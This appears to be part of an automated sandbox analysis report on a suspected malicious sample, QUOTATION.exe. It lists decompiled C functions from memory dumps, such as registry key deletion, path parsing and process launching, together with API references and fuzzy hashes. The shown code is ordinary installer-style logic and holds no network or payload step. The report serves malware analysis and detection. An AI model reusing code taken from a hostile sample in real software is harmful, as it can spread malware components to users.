Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 76b30c2e26840082170464c0c63912d3f8204d685d5b784281808f5f32aeb92b
Instruction ID: 0da8bf888325795cdd0c5347214511d48edcf337a1f8d4df24ff951c9a6f7455
Opcode Fuzzy Hash: 76b30c2e26840082170464c0c63912d3f8204d685d5b784281808f5f32aeb92b
Instruction Fuzzy Hash: C7D0A9A2605A716AD21223199C09EDB2A0CCF02314B080063F600B22A3CA3C1D018BFE

Uniqueness

Uniqueness Score: -1.00%

Function 00402C2E Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402C2E(void* __eflags, void* _a4, char* _a8, signed int _a12) {
				void* _v8;
				char _v272;
				void* _t19;
				signed int _t25;
				intOrPtr* _t27;
				signed int _t32;
				signed int _t33;
				signed int _t34;

				_t33 = _a12;
				_t34 = _t33 & 0x00000300;
				_t32 = _t33 & 0x00000001;
				_t19 = E00405E60(__eflags, _a4, _a8, _t34 | 0x00000008,  &_v8);
				if(_t19 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						__eflags = _t32;
						if(__eflags != 0) {
							RegCloseKey(_v8);
							return 0x3eb;
						}
						_t25 = E00402C2E(__eflags, _v8,  &_v272, _a12);
						__eflags = _t25;
						if(_t25 != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00406372(3);
					if(_t27 == 0) {
						return RegDeleteKeyA(_a4, _a8);
					}
					return  *_t27(_a4, _a8, _t34, 0);
				}
				return _t19;
			}

0x00402c39
0x00402c42
0x00402c4b
0x00402c57
0x00402c5e
0x00402c82
0x00402c68
0x00402c6a
0x00402cbd
0x00000000
0x00402cc3
0x00402c79
0x00402c7e
0x00402c80
0x00000000
0x00000000
0x00402c80
0x00402c9c
0x00402ca4
0x00402cab
0x00000000
0x00402cd0
0x00000000
0x00402cb6
0x00402cda

APIs

RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402C93
RegCloseKey.ADVAPI32(?,?,?), ref: 00402C9C
RegCloseKey.ADVAPI32(?,?,?), ref: 00402CBD

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 73c9fb611972138edc71e9406aca9b8622a65655cc86fec515c5851ee22221db
Instruction ID: a6da729fb9552a58d385ec1c0953cf8d4b7f97d7084d0a629d1ed2eab5a533bf
Opcode Fuzzy Hash: 73c9fb611972138edc71e9406aca9b8622a65655cc86fec515c5851ee22221db
Instruction Fuzzy Hash: 8E115B32904109BBEF129F50DE09B9E7B6DEB54380F104072BE05B51E0E7B59E11AAA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405A0B Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A0B(CHAR* _a4) {
				CHAR* _t5;
				char* _t7;
				CHAR* _t9;
				char _t10;
				CHAR* _t11;
				void* _t13;

				_t11 = _a4;
				_t9 = CharNextA(_t11);
				_t5 = CharNextA(_t9);
				_t10 =  *_t11;
				if(_t10 == 0 ||  *_t9 != 0x3a || _t9[1] != 0x5c) {
					if(_t10 != 0x5c || _t11[1] != _t10) {
						L10:
						return 0;
					} else {
						_t13 = 2;
						while(1) {
							_t13 = _t13 - 1;
							_t7 = E0040599D(_t5, 0x5c);
							if( *_t7 == 0) {
								goto L10;
							}
							_t5 = _t7 + 1;
							if(_t13 != 0) {
								continue;
							}
							return _t5;
						}
						goto L10;
					}
				} else {
					return CharNextA(_t5);
				}
			}

0x00405a14
0x00405a1b
0x00405a1e
0x00405a20
0x00405a24
0x00405a39
0x00405a58
0x00000000
0x00405a40
0x00405a42
0x00405a43
0x00405a46
0x00405a47
0x00405a4f
0x00000000
0x00000000
0x00405a51
0x00405a54
0x00000000
0x00000000
0x00000000
0x00405a54
0x00000000
0x00405a43
0x00405a31
0x00000000
0x00405a32

APIs

CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,?,00405A77,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,76B43410,?,C:\Users\user\AppData\Local\Temp\,004057C2,?,76B43410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405A19
CharNextA.USER32(00000000), ref: 00405A1E
CharNextA.USER32(00000000), ref: 00405A32

Strings

C:\Users\user\AppData\Local\Temp\nsg9F21.tmp, xrefs: 00405A0C

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsg9F21.tmp
API String ID: 3213498283-711518007
Opcode ID: 41ff5f2e282a09e2b8c2dcc033aaaa44e3aa2c06707c210a0f189d2452b315e7
Instruction ID: a4ce128402f48f1feafc2c55b1118e7c053650975221e3f5fcc16cd8d0856992
Opcode Fuzzy Hash: 41ff5f2e282a09e2b8c2dcc033aaaa44e3aa2c06707c210a0f189d2452b315e7
Instruction Fuzzy Hash: 13F0C251B04F916BFB32A2280CD4F6B5B88CB55365F145267E280672C2C27C88408F9A

Uniqueness

Uniqueness Score: -1.00%

Function 00402D60 Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402D60(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x41e8c0; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x423710;
						if(_t2 >  *0x423710) {
							_t3 = CreateDialogParamA( *0x423700, 0x6f, 0, E00402CDD, 0);
							 *0x41e8c0 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E004063AE(0);
					}
				} else {
					_t6 =  *0x41e8c0; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x41e8c0 = 0;
					return _t6;
				}
			}

0x00402d67
0x00402d81
0x00402d87
0x00402d91
0x00402d97
0x00402d9d
0x00402dae
0x00402db7
0x00000000
0x00402dbc
0x00402dc3
0x00402d89
0x00402d90
0x00402d90
0x00402d69
0x00402d69
0x00402d70
0x00402d73
0x00402d73
0x00402d79
0x00402d80
0x00402d80

APIs

DestroyWindow.USER32(00000000,00000000,00402F3E,00000001), ref: 00402D73
GetTickCount.KERNEL32 ref: 00402D91
CreateDialogParamA.USER32(0000006F,00000000,00402CDD,00000000), ref: 00402DAE
ShowWindow.USER32(00000000,00000005), ref: 00402DBC

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 840a75d409b371d7b77b67c1e1f99b2f4b28fbc1840826de4c71681516a351cc
Instruction ID: 88e2776c24fdb891b0502b3cf10dbd42b902845c03a9ebe61091678d0ea3e225
Opcode Fuzzy Hash: 840a75d409b371d7b77b67c1e1f99b2f4b28fbc1840826de4c71681516a351cc
Instruction Fuzzy Hash: E0F05E75905221ABCA207B62BE4CACA7BA4FB42B527014976F845B31E4C3784C868BDD

Uniqueness

Uniqueness Score: -1.00%

Function 00405679 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405679(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x421510->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0x4000000, 0, 0, 0x421510,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405682
0x004056a2
0x004056aa
0x004056af
0x00000000
0x004056b5
0x004056b9

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00421510,Error launching installer), ref: 004056A2
CloseHandle.KERNEL32(?), ref: 004056AF

Strings

Error launching installer, xrefs: 0040568C

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 0a67d81f0dbc2c48957f366610cafbe47269508c26dde6c53db592e432081f5d
Instruction ID: 7ab3ce879d7da258620b5dd87dc6aa02706b67d8cc8a7f981bd8ed1ee31a9d30
Opcode Fuzzy Hash: 0a67d81f0dbc2c48957f366610cafbe47269508c26dde6c53db592e432081f5d
Instruction Fuzzy Hash: 46E046F0A00209BFEB009B60EC09F7B7AACEB10748F404861BD11F32A0E374A9108A79

Uniqueness

Uniqueness Score: -1.00%

Function 00403762 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403762() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41eccc; // 0x4ca180
				_t3 = E00403747(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41eccc =  *0x41eccc & 0x00000000;
				return _t3;
			}

0x00403763
0x0040376b
0x00403772
0x00403775
0x00403775
0x00403777
0x0040377c
0x00403783
0x00403789
0x0040378d
0x0040378e
0x00403796

APIs

FreeLibrary.KERNEL32(?,76B43410,00000000,C:\Users\user\AppData\Local\Temp\,0040373A,00403554,?,?,00000006,00000008,0000000A), ref: 0040377C
GlobalFree.KERNEL32(004CA180), ref: 00403783

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403762

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3355392842
Opcode ID: c8d1562c69e49bacb52193c1b129ec66577e910d0a26dd744afe86c7ae1d1dec
Instruction ID: ee514f1fc3f324b596d41214b75e1b85a5e4a54197580a2dff82031d974a72f0
Opcode Fuzzy Hash: c8d1562c69e49bacb52193c1b129ec66577e910d0a26dd744afe86c7ae1d1dec
Instruction Fuzzy Hash: 40E0C27380112097C7251F07EC04B5A776CAF45B22F01C02AEC007B3A0C7742C418BD9

Uniqueness

Uniqueness Score: -1.00%

Function 004059B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004059B9(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x004059ba
0x004059c4
0x004059c6
0x004059cd
0x004059d5
0x00000000
0x00000000
0x00000000
0x004059d5
0x004059d7
0x004059dc

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402E30,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\QUOTATION.exe,C:\Users\user\Desktop\QUOTATION.exe,80000000,00000003), ref: 004059BF
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E30,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\QUOTATION.exe,C:\Users\user\Desktop\QUOTATION.exe,80000000,00000003), ref: 004059CD

Strings

C:\Users\user\Desktop, xrefs: 004059B9

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3370423016
Opcode ID: 1c4ce1fe46e37373cead662465a4f3eb2a6c0bdf31f922d28b251b51ad992424
Instruction ID: a086819795abd80aa1ad59fb022c9920fa60cb9da26d6d2253466900a8022463
Opcode Fuzzy Hash: 1c4ce1fe46e37373cead662465a4f3eb2a6c0bdf31f922d28b251b51ad992424
Instruction Fuzzy Hash: 3FD0A7E3408DB05EE70353149C04B9F6A48CF12310F0900A3F180A21A6C67C1C414BFE

Uniqueness

Uniqueness Score: -1.00%

Function 6F6010E0 Relevance: 5.1, APIs: 4, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6F6010E0(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _t17;
				char _t19;
				void* _t20;
				void* _t24;
				void* _t27;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				signed int _t43;
				void* _t52;
				char* _t53;
				char* _t55;
				void* _t56;
				void* _t58;

				 *0x6f60405c = _a8;
				 *0x6f604060 = _a16;
				 *0x6f604064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x6f604038, E6F601556, _t52);
				_t43 =  *0x6f60405c +  *0x6f60405c * 4 << 2;
				_t17 = E6F60123B();
				_a8 = _t17;
				_t53 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_a8);
				} else {
					do {
						_t19 =  *_t53;
						_t55 = _t53 + 1;
						_t58 = _t19 - 0x6c;
						if(_t58 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t53 = _t55 + 1;
								_t24 = E6F601266(E6F6012AD( *_t55 - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t27 = _t20;
							if(_t27 == 0) {
								L10:
								_t53 = _t55 + 1;
								_t24 = E6F6012D1( *_t55 - 0x30, E6F60123B());
								goto L13;
							}
							L7:
							if(_t27 == 1) {
								_t31 = GlobalAlloc(0x40, _t43 + 4);
								 *_t31 =  *0x6f604030;
								 *0x6f604030 = _t31;
								E6F601508(_t31 + 4,  *0x6f604064, _t43);
								_t56 = _t56 + 0xc;
							}
							goto L14;
						}
						if(_t58 == 0) {
							L17:
							_t34 =  *0x6f604030;
							if( *0x6f604030 != 0) {
								E6F601508( *0x6f604064, _t34 + 4, _t43);
								_t37 =  *0x6f604030;
								_t56 = _t56 + 0xc;
								GlobalFree(_t37);
								 *0x6f604030 =  *_t37;
							}
							goto L14;
						}
						_t39 = _t19 - 0x4c;
						if(_t39 == 0) {
							goto L17;
						}
						_t40 = _t39 - 4;
						if(_t40 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L12;
						}
						_t27 = _t40;
						if(_t27 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t53 != 0);
					goto L16;
				}
			}

0x6f6010e7
0x6f6010ef
0x6f601103
0x6f60110b
0x6f601116
0x6f601119
0x6f601121
0x6f601124
0x6f601126
0x6f6011c4
0x6f6011d0
0x6f60112c
0x6f60112d
0x6f60112d
0x6f601130
0x6f601131
0x6f601134
0x6f601203
0x6f601206
0x6f60119e
0x6f6011a4
0x6f6011ac
0x6f6011b1
0x6f6011b4
0x00000000
0x6f6011b4
0x6f601209
0x6f60120a
0x6f601186
0x6f60118c
0x6f601194
0x00000000
0x6f601194
0x6f601152
0x6f601153
0x6f60115b
0x6f601168
0x6f601170
0x6f601179
0x6f60117e
0x6f60117e
0x00000000
0x6f601153
0x6f60113a
0x6f6011d1
0x6f6011d1
0x6f6011d8
0x6f6011e5
0x6f6011ea
0x6f6011ef
0x6f6011f5
0x6f6011fb
0x6f6011fb
0x00000000
0x6f6011d8
0x6f601140
0x6f601143
0x00000000
0x00000000
0x6f601149
0x6f60114c
0x6f60119b
0x00000000
0x6f60119b
0x6f60114f
0x6f601150
0x6f601183
0x00000000
0x6f601183
0x00000000
0x6f6011ba
0x6f6011ba
0x00000000
0x6f6011c3

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6F60115B
GlobalFree.KERNEL32(00000000), ref: 6F6011B4
GlobalFree.KERNEL32(?), ref: 6F6011C7
GlobalFree.KERNEL32(?), ref: 6F6011F5

Memory Dump Source

Source File: 00000002.00000002.3716779117.000000006F601000.00000020.00000001.01000000.00000005.sdmp, Offset: 6F600000, based on PE: true

Associated: 00000002.00000002.3716683348.000000006F600000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716864165.000000006F603000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3716944501.000000006F605000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6f600000_QUOTATION.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: ea8b2fbe3afb3c46c5d155173f0e7c2e917acd17a1ab72a767d40387f289bccc
Instruction ID: fcb9e1d61d2db57c755e5b708b39ed61025927ae5dc025cd2f1b7957a73fff42
Opcode Fuzzy Hash: ea8b2fbe3afb3c46c5d155173f0e7c2e917acd17a1ab72a767d40387f289bccc
Instruction Fuzzy Hash: 5E3134B1404601AFEB19AF7ADB49F667FF8FB07269B34015AE802D7250DB70D850CB28

Uniqueness

Uniqueness Score: -1.00%

Function 00405AD8 Relevance: 5.0, APIs: 4, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405AD8(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}

0x00405ae8
0x00405aea
0x00405aed
0x00405b19
0x00405af2
0x00405afb
0x00405b00
0x00405b0b
0x00405b0e
0x00405b2a
0x00405b10
0x00405b17
0x00000000
0x00405b17
0x00405b23
0x00405b27
0x00405b27
0x00405b21
0x00000000

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D33,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405AE8
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405B00
CharNextA.USER32(00000000,?,00000000,00405D33,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B11
lstrlenA.KERNEL32(00000000,?,00000000,00405D33,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B1A

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c17fcd1cf7dd52c707961598001fbe9307a221727c523cbd792ccb3aa3d95fe1
Instruction ID: 2cbfd0870324320007afb9b70b5ca04d8eb3af27e3ea935175830c0dc6d3898b
Opcode Fuzzy Hash: c17fcd1cf7dd52c707961598001fbe9307a221727c523cbd792ccb3aa3d95fe1
Instruction Fuzzy Hash: 50F0C231604414BFC702DBA9DC40D9EBBB8EF46250B2540A6E800F7251D274FE01ABA9

Uniqueness

Uniqueness Score: -1.00%

Function 04E82DA8 Relevance: 5.0, Strings: 4, Instructions: 6COMMON

Download Yara Rule

Strings

====, xrefs: 04E82DB7
====, xrefs: 04E82DA8
====, xrefs: 04E82DAD
====, xrefs: 04E82DB2

Memory Dump Source

Source File: 00000002.00000002.3674014091.0000000004E80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4e80000_QUOTATION.jbxd

Yara matches

Similarity

API ID:
String ID: ====$====$====$====
API String ID: 0-1651387046
Opcode ID: 565fb02034b6b63b4206550d0a7f22d032297b3c70780d1b0e6e426b0bcbc36d
Instruction ID: 62ccd93ba397bbd3a3438a08eebe027cf551ffee154674341d789612a65c1374
Opcode Fuzzy Hash: 565fb02034b6b63b4206550d0a7f22d032297b3c70780d1b0e6e426b0bcbc36d
Instruction Fuzzy Hash: 64B009DBC4B1C44758A40F1415E024D00141C25C383345F03C0A4C2DE0D433CCD30C43

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: QUOTATION.exePID: 7268, Parent PID: 948COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	1
Total number of Limit Nodes:	0

Executed Functions

Function 337634E0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 337634EA

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
